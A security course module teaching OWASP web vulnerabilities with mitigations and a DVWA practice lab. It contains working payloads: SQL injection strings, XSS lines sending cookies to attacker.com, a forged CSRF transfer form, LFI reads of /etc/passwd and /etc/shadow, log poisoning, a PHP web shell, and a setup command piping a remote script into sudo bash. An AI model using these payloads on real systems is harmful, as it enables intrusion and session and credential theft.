Web Application Security

Objectives: By the end of this topic, you will be able to…

  • Recognize and exploit common vulnerabilities in web applications
  • Intercept and modify HTTP traffic
  • Use automated analysis tools
  • Understand the most common OWASP risks and how to mitigate them

Client-server model and HTTP

A web application is based on the client-server model: the client (browser) sends HTTP requests; the server processes them and responds with content.

HTTP is stateless — each request is independent and the server retains no memory of previous ones. To simulate state (keeping a user logged in across pages), applications use sessions maintained through cookies.

The HTTP request/response cycle

Client                                  Server
  |                                       |
  |-- GET /login HTTP/1.1 ------------->  |
  |   Host: example.com                  |
  |   Cookie: session_id=abc123          |
  |                                       |
  |<-- HTTP/1.1 200 OK ----------------  |
  |    Set-Cookie: session_id=xyz789     |
  |    Content-Type: text/html           |
  |    <html>...</html>                  |

Every HTTP request has a method, path, headers, and optionally a body. Every response has a status code and headers.

HTTP MethodTypical use
GETRetrieve a resource (parameters in URL)
POSTSubmit data (parameters in body)
PUT / PATCHUpdate a resource
DELETEDelete a resource
Status code rangeMeaning
2xxSuccess
3xxRedirect
4xxClient error (404 Not Found, 403 Forbidden)
5xxServer error

Cookies, sessions, and tokens

Because HTTP is stateless, the server issues a session identifier after login and stores it in a cookie. On every subsequent request, the browser automatically sends that cookie back — this is how the server knows who you are.

POST /login        →  server creates session, sets cookie: session_id=abc123
GET /dashboard     →  browser sends Cookie: session_id=abc123 automatically

Cookie security attributes control how cookies behave:

AttributeEffect
HttpOnlyCookie inaccessible to JavaScript — blocks XSS-based theft
SecureCookie only sent over HTTPS
SameSite=StrictCookie not sent with cross-site requests — blocks CSRF
SameSite=LaxCookie sent with top-level navigation but not with embedded requests

Typical web application components:

ComponentDescription
FrontendUser interface (HTML, CSS, JavaScript)
BackendBusiness logic (PHP, Python, Node.js)
DatabasePersistent storage (MySQL, MongoDB, PostgreSQL)
Web serverSits between client and backend (Apache, Nginx)
Sessions/cookiesMechanisms to maintain state between requests

HTTP traffic interception with Burp Suite

Before exploiting web vulnerabilities, you need to be able to see and modify HTTP requests in real time. Burp Suite acts as a proxy between your browser and the server.

Browser  →  Burp Suite (proxy on 127.0.0.1:8080)  →  Web server
                  ↑
            You intercept and
            modify requests here

Basic workflow:

  1. Configure your browser to use 127.0.0.1:8080 as HTTP proxy (or use Burp’s embedded browser)
  2. Enable Intercept in the Proxy tab
  3. Browse to the target — Burp captures each request before it reaches the server
  4. Inspect and modify headers, parameters, cookies, and body at will
  5. Forward the (modified) request or drop it

Key Burp tabs for this lab:

TabPurpose
Proxy → InterceptCapture and modify live requests
Proxy → HTTP historyReview all past requests/responses
RepeaterSend a saved request repeatedly with changes and compare responses
IntruderAutomate payloads across a parameter (fuzzing, brute force)
DecoderEncode/decode URL, Base64, HTML entities

OWASP Top 10: key vulnerabilities

The OWASP Top 10 is the industry-standard list of the most critical web application security risks. The following sections cover each vulnerability exploited in this lab in depth.


Broken Access Control

OWASP #1. The server fails to enforce what authenticated users are allowed to do. A user can access resources or perform actions they should not be permitted to.

Insecure Direct Object Reference (IDOR) is the most common form: the application uses a predictable identifier in the URL or request body, and never checks whether the requesting user is authorized to access that object.

# Victim's own profile:
GET /user/profile?id=1042

# Attacker changes the ID:
GET /user/profile?id=1043   ← returns another user's data if no auth check

Other broken access control patterns:

  • Accessing admin pages without admin role (/admin/panel)
  • Modifying another user’s data by changing a hidden form field
  • Bypassing access restrictions by manipulating the HTTP method (GET instead of POST)

Mitigation: Enforce authorization server-side on every request. Never rely on client-supplied IDs alone — verify that the authenticated user owns the resource.


SQL Injection (SQLi)

The application incorporates user input directly into a SQL query without sanitization. The attacker can alter the query’s logic, bypass authentication, extract data, or modify the database.

How it works — a vulnerable query:

// Vulnerable PHP code
$query = "SELECT * FROM users WHERE username='$_GET[user]'";

Normal input: alice → query becomes:

SELECT * FROM users WHERE username='alice'

Attacker input: ' OR '1'='1 → query becomes:

SELECT * FROM users WHERE username='' OR '1'='1'

'1'='1' is always true, so the query returns all rows. Authentication is bypassed.

UNION-based extraction — append a second SELECT to steal data from other tables:

' UNION SELECT username, password FROM users--

The -- comments out the rest of the original query. The injected SELECT must return the same number of columns as the original.

Types of SQLi:

TypeHow it works
In-band (error-based)Database error messages leak data
In-band (UNION-based)Appended UNION SELECT returns data in the page
Blind (boolean-based)Ask the database true/false questions; infer from page differences
Blind (time-based)Inject SLEEP() or WAITFOR DELAY; infer from response time
Out-of-bandData exfiltrated via DNS or HTTP to attacker server

Mitigation: Use parameterized queries (prepared statements). Input never touches the query structure.

# Safe:
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))

Blind SQL Injection

When the application does not display query results or error messages, you must infer data indirectly.

Boolean-based: Send two requests that differ by one condition. If the page differs, the condition is true.

# Is the first character of the admin password 'a'?
?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--

# If the page loads normally → true. If it changes → false. Repeat for each character.

Time-based: When there is no visible difference between true and false responses, delay the response instead.

-- MySQL: if condition is true, sleep 5 seconds
?id=1 AND IF(1=1, SLEEP(5), 0)--

Tools like sqlmap automate both techniques, iterating through characters to reconstruct strings from thousands of true/false answers.


XSS (Cross-Site Scripting)

The application incorporates user input into the HTML page without sanitization. The attacker injects a script that executes in other users’ browsers — in the context of the legitimate site, with access to that user’s cookies and DOM.

Why this matters: JavaScript running from bank.com can read bank.com cookies, make authenticated bank.com requests, and exfiltrate results to the attacker.

Reflected XSS

The payload is in the request (typically the URL) and is immediately reflected in the response. The victim must click a malicious link.

Attacker crafts:
https://victim.com/search?q=<script>document.location='https://attacker.com/?c='+document.cookie</script>

Victim clicks → server returns page containing the script → browser executes it → cookie sent to attacker

Stored XSS

The payload is saved to the database and served to every subsequent visitor — no link required.

Attacker posts a comment containing:
<script>fetch('https://attacker.com/?c='+document.cookie)</script>

Every user who loads the comments page executes the script.

DOM-based XSS

No server involvement. Client-side JavaScript reads attacker-controlled data (URL fragment, document.referrer, postMessage) and writes it to the DOM without sanitization.

// Vulnerable client-side code:
document.getElementById('output').innerHTML = location.hash.slice(1);
 
// Attacker URL:
https://victim.com/page#<img src=x onerror=alert(document.cookie)>

Common payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Mitigation: HTML-encode all user input before inserting it into the page. Use textContent instead of innerHTML in JavaScript. Apply a strict Content-Security-Policy header.


CSRF (Cross-Site Request Forgery)

The browser automatically sends cookies with every request to the matching domain. CSRF exploits this: the attacker tricks the victim’s browser into sending a forged request to a site where the victim is already authenticated.

How it works:

  1. Victim is logged in to bank.com (session cookie in browser)
  2. Victim visits attacker.com, which contains a hidden form:
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>
  1. Browser submits the form and automatically includes the bank.com session cookie
  2. Bank’s server sees a valid, authenticated request and processes the transfer

Mitigation:

DefenseHow it works
CSRF tokenServer generates a secret, unpredictable token per session and embeds it in forms. Server rejects requests missing or with wrong token. Attacker cannot read the token due to Same-Origin Policy.
SameSite=Strict cookieBrowser refuses to send the cookie with any cross-site request
Origin / Referer header checkServer validates that the request originated from its own domain

LFI (Local File Inclusion)

The application uses a user-controlled parameter to include a file on the server without validating the path.

Vulnerable code:

<?php include($_GET['page']); ?>

Normal use: ?page=contact.php

Path traversal attack: Use ../ sequences to escape the intended directory and read arbitrary files.

?page=../../../../../../etc/passwd

On a successful LFI, the contents of /etc/passwd appear in the page response.

Other targets:

/etc/shadow              # password hashes (requires root)
/var/log/apache2/access.log  # log poisoning → code execution
/proc/self/environ       # environment variables (may contain secrets)

Log poisoning — escalating LFI to Remote Code Execution:

  1. Inject PHP code into a log file the server reads (e.g., send User-Agent: <?php system($_GET['cmd']); ?>)
  2. Include the log file via LFI: ?page=../../var/log/apache2/access.log&cmd=id
  3. The PHP interpreter executes the injected code

Mitigation: Never pass user input directly to include() or require(). Use a whitelist of allowed pages.


File Upload Vulnerabilities

The application accepts file uploads but fails to properly validate the file type or content, allowing an attacker to upload executable code.

What makes a file dangerous on the server: if the uploaded file ends up in a web-accessible directory and the server executes it (e.g., PHP files served by Apache), the attacker gains arbitrary code execution.

Common bypass techniques for weak filters:

Filter typeBypass
Extension check (blacklist)Double extension: shell.php.jpg; alternate extensions: .php5, .phtml, .phar
Extension check (Content-Type)Send Content-Type: image/jpeg while file contains PHP code
Content/magic bytes checkPrepend GIF89a to a PHP file — file starts with a valid GIF header
CombinationGIF89a <?php system($_GET['cmd']); ?> saved as shell.php%00.jpg (null byte, older PHP)

Example PHP web shell:

<?php system($_GET['cmd']); ?>

After uploading, browse to the file: http://target/uploads/shell.php?cmd=id

Mitigation: Store uploads outside the web root. Rename files server-side. Validate MIME type via file content (not extension or header). Serve uploads through a dedicated endpoint that never executes them.


Analysis of HTTP requests and sessions

Understanding HTTP traffic is essential for finding and exploiting vulnerabilities:

  • HTTP Methods: GET, POST, PUT, DELETE
  • HTTP Headers: User-Agent, Cookie, Referer, Authorization, Content-Type
  • Request body and parameters (form data, JSON payloads, multipart)
  • Session management: session cookies, CSRF tokens, JWTs, persistent authentication

Key headers attackers inspect and manipulate:

HeaderPurposeAttack relevance
CookieCarries session identifierTheft via XSS; tampering for privilege escalation
RefererURL of the previous pageLeaks visited URLs; used in CSRF defenses
AuthorizationBearer tokens, Basic authToken theft, replay attacks
Content-TypeFormat of the request bodyChanging to application/json can bypass CSRF middleware
X-Forwarded-ForClient IP behind proxySpoofed to bypass IP-based access controls

Interceptors and automated scanners

ToolDescription
Burp SuiteProxy/interceptor for HTTP modification, attack automation, app mapping
OWASP ZAPFree alternative to Burp with automated scanning
NiktoVulnerability scanner for web servers
sqlmapAutomates detection and exploitation of SQLi
wfuzz / ffufFuzzing of routes and parameters
WhatWeb / WappalyzerTechnology fingerprinting

Hands-on lab

Requirements: Kali Linux, DVWA

Lab setup: Installing DVWA

sudo bash -c "$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)"

DVWA will be available at http://localhost/DVWA. Login with admin:password, click “Create / Reset Database”, then set difficulty to medium in DVWA Security settings.

Question

Before starting each exploit, click “View Source” in DVWA to read the server-side code. What specific insecure coding practice enables each vulnerability?

Instructions

Complete all of the following vulnerabilities in MEDIUM difficulty:

  • CSRF — forge a request to change the admin password
  • File Inclusion — include local/remote files through URL parameters
  • File Upload — upload a malicious file bypassing filters
  • SQL Injection — extract data from the database
  • SQL Injection (Blind) — infer data through true/false responses
  • XSS (DOM) — inject script through DOM manipulation
  • XSS (Reflected) — inject script via URL parameter
  • XSS (Stored) — store malicious script in the application

Question

Which vulnerability was hardest to exploit at medium difficulty, and what additional defense mechanism was DVWA using? How did you identify and bypass it?

Submission

Report showing the process of exploiting each vulnerability:

  • Steps followed
  • Tools and commands used
  • Screenshots of successful exploitation
  • Explanation of why the vulnerability exists
  • Mitigation recommendation for each

Key concepts

TermDefinition
XSSInjection of malicious scripts into web pages
SQLiInjection of malicious SQL code into input fields
CSRFAttack that exploits the browser to send malicious requests
LFIInclusion of local server files via manipulable parameters
Burp SuiteHTTP proxy for web security testing
WAFSpecialized firewall for protecting web applications
OWASP Top 10List of the ten most critical web vulnerabilities

Navigation:Previous | Home | Next